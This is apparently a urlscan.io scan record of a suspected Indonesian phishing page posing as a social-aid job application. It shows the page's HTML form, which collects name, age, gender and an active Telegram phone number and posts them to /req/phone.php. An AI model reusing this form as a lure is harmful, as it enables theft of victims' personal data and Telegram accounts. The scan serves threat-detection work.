bantuanku-sosial2024x.claim-nowb.pw Open in urlscan Pro
172.67.143.4  Public Scan

Form analysis
1 forms found in the DOM

POST /req/phone.php

<form action="/req/phone.php" method="post">
  <section>
    <p style="background: #05529be8; color: #f1f3f5; padding-top: 1px; margin-bottom: 6px; padding-bottom: 0px; height: 31px; font-size: 14px; text-align: center;"> &nbsp; Isi data dengan benar </p>
    <div class="first">
      <div class="col-sm-12">
        <label for="full_name">Nama Lengkap (sesuai E-KTP)</label>
        <input class="form-control" placeholder="Nama Lengkap" data-presence="true" data-content="Sila isikan ruang ini" maxlength="100" size="100" type="text" name="full_name" id="full_name">
      </div>
      <div class="col-sm-12">
        <label for="icnumber">Usia</label>
        <input placeholder="Masukkan Usia anda" class="form-control" data-presence="true" data-ic="true" data-content="Sila masukkan nombor pengenalan yang sah" type="text" name="icnumber" id="icnumber">
      </div>
      <div class="col-sm-12">
        <label for="sek">Jenis Kelamin</label>
        <div class="field-arrow">
          <select class="form-control ploan_application_sector" data-presence="true" data-content="Sila buat mana-mana pilihan" name="sek" id="sek">
            <option value="Private Sector">Laki-Laki</option>
            <option value="Government Sector">Perempuan</option>
          </select>
        </div>
      </div>
      <div class="col-sm-12">
        <label for="phone">Nomor Telepon Telegram Aktif</label>
        <input placeholder="Phone Number" class="form-control" data-presence="true" data-content="Silakan masukkan nomor telepon yang aktif dan sudah menggunakan Telegram" type="tel" name="phone_number" id="phone">
        <small id="error-message" style="color: red; display: none;">Nomor telepon harus diawali dengan +62</small>
      </div>
      <div class="col-sm-12">
        <label for="agree_telegram">
          <input name="personal_loan_application[agree_whatsapp]" type="hidden" value="0">
          <input data-checkbox="true" data-content="Sila tandakan kotak berkenaan" type="checkbox" value="1" name="personal_loan_application[agree_whatsapp]" id="personal_loan_application_agree_whatsapp"> Saya setuju untuk menerima pesan Telegram
          dari Admin tentang Pekerjaan Ini </label>
      </div>
      <div class="text-center">
        <button type="submit" class="btn btn-lg btn-block btn-mk">Mendaftar</button>
      </div>
    </div>
  </section>
</form>

Text Content

SILAHKAN ISI DATA ANDA DENGEN BENAR DI BAWAH UNTUK MELAMAR PEKERJAAN

  Isi data dengan benar

Nama Lengkap (sesuai E-KTP)
Usia
Jenis Kelamin
Laki-Laki Perempuan
Nomor Telepon Telegram Aktif Nomor telepon harus diawali dengan +62
Saya setuju untuk menerima pesan Telegram dari Admin tentang Pekerjaan Ini
Mendaftar